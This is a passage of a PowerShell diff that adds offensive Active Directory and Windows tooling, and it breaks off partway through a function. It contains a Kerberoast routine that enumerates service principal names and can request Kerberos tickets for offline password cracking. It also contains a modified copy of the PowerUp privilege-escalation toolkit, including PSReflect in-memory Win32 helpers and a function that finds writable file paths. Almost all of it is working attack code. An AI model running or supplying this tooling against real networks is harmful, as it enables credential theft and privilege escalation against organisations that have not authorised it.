[Parameter(Mandatory=$False)] [switch]$Request, + [Parameter(Mandatory=$False)] [switch]$UniqueAccounts + ) + Write-Verbose "Enumerating user SPNs for potential Kerberoast cracking..." + Add-Type -AssemblyName System.IdentityModel + + $GCs = @() + + If ($GCName) { + $GCs += $GCName + } else { # find them + $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() + ForEach ($GC in $CurrentGCs) { + #$GCs += $GC.Name + $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain + } + } + + if (-not $GCs) { + # no Global Catalogs Found + Write-Output "`n[-] No Global Catalogs Found!" + Return + } + + ForEach ($GC in $GCs) { + $searcher = New-Object System.DirectoryServices.DirectorySearcher + $searcher.SearchRoot = "LDAP://" + $GC + $searcher.PageSize = 1000 + $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" + $Null = $searcher.PropertiesToLoad.Add("serviceprincipalname") + $Null = $searcher.PropertiesToLoad.Add("name") + $Null = $searcher.PropertiesToLoad.Add("samaccountname") + #$Null = $searcher.PropertiesToLoad.Add("userprincipalname") + #$Null = $searcher.PropertiesToLoad.Add("displayname") + $Null = $searcher.PropertiesToLoad.Add("memberof") + $Null = $searcher.PropertiesToLoad.Add("pwdlastset") + #$Null = $searcher.PropertiesToLoad.Add("distinguishedname") + + $searcher.SearchScope = "Subtree" + + $results = $searcher.FindAll() + + [System.Collections.ArrayList]$accounts = @() + + foreach ($result in $results) { + foreach ($spn in $result.Properties["serviceprincipalname"]) { + $o = Select-Object -InputObject $result -Property ` + @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` + @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` + #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` + @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` + #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` + @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` + @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` + #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } + if ($UniqueAccounts) { + if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { + $Null = $accounts.Add($result.Properties["samaccountname"][0].ToString()) + $o + if ($Request) { + $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() + } + } + } else { + $o + if ($Request) { + $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() + } + } + } + } + } +} + +########### +# PowerUp +########### + +<# + Modified version of PowerUp (authored by @harmj0y) without the modification functions + + PowerUp aims to be a clearinghouse of common Windows privilege escalation + vectors that rely on misconfigurations. See README.md for more information. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + Link: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 +#> + +#Requires -Version 2 + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule +{ +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory=$True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory=$True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum +{ +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# PowerUp Helpers +# +######################################################## + +function Get-ModifiablePath { +<# + .SYNOPSIS + + Parses a passed string containing multiple possible file/folder paths and returns + the file paths where the current user has modification rights. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Takes a complex path specification of an initial file/folder path with possible + configuration files, 'tokenizes' the string in a number of possible ways, and + enumerates the ACLs for each path that currently exists on the system. Any path that + the current user has modification rights on is returned in a custom object that contains + the modifiable path, associated permission set, and the IdentityReference with the specified + rights. The SID of the current user and any group he/she are a part of are used as the + comparison set against the parsed path DACLs. + + .PARAMETER Path + + The string path to parse for modifiable files. Required + + .PARAMETER LiteralPaths + + Switch. Treat all paths as literal (i.e. don't do 'tokenization'). + + .EXAMPLE + + PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath + + Path Permissions IdentityReference + ---- ----------- ----------------- + C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + + .EXAMPLE + + PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath + + Path Permissions IdentityReference + ---- ----------- ----------------- + C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + ... +#> + + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] + [String[]] + $Path, + + [Switch] + $LiteralPaths + ) + + BEGIN { + # # false positives ? + # $Excludes = @("MsMpEng.exe", "NisSrv.exe") + + # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + $TranslatedIdentityReferences = @{} + } + + PROCESS { + + ForEach($TargetPath in $Path) { + + $CandidatePaths = @() + + # possible separator character combinations + $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") + + if($PSBoundParameters['LiteralPaths']) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + + if(($SeparationCharacterSet -notmatch ' ')) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() + + if($TempPath -and ($TempPath -ne '')) { + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + # if the path exists, resolve it and add it to the candidate list + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = (Split-Path -Path $TempPath -Parent).Trim() + if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path + } + } + catch { + # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + } + else { + # if the separator contains a space + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)} + } + } + } + } + + $CandidatePaths | Sort-Object -Unique | ForEach-Object { + $CandidatePath = $_ + Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object { + + $FileSystemRights = $_.FileSystemRights.value__ + + $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } + + # the set of permission types that allow for modification + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent + + if($Comparison) { + if ($_.IdentityReference -notmatch '^S-1-5.*') { + if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) { + # translate the IdentityReference if it's a username and not a SID + $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) + $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value + } + $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference] + } + else { + $IdentitySID = $_.IdentityReference + } + + if($CurrentUserSids -contains $IdentitySID) { + New-Object -TypeName PSObject -Property @{ + ModifiablePath = $CandidatePath + IdentityReference = $_.IdentityReference + Permissions = $Permissions + } + } + } + } + } + } + } +} + + +function Get-CurrentUserTokenGroupSid { +<# + .SYNOPSIS + + Returns all SIDs that the current user is a part of, whether they are disabled or not. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds + this to OpenProcessToken() to open up a handle to the current process token. The API call + GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process + token. Each group is iterated through and the SID structure is converted to a readable + string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of + (disabled or not) is returned as a string array. + + .LINK + + https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx + https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx + https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx +#> + + [CmdletBinding()] + Param() + + $CurrentProcess = $Kernel32::GetCurrentProcess() + + $TOKEN_QUERY= 0x0008 + + # open up a pseudo handle to the current process- don't need to worry about closing + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Success) { + $TokenGroupsPtrSize = 0 + # Initial query to determine the necessary buffer size + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) + + [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) + + # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Success) { + + $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS + + For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { + # convert each token group SID to a displayable string + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $GroupSid = New-Object PSObject + $GroupSid | 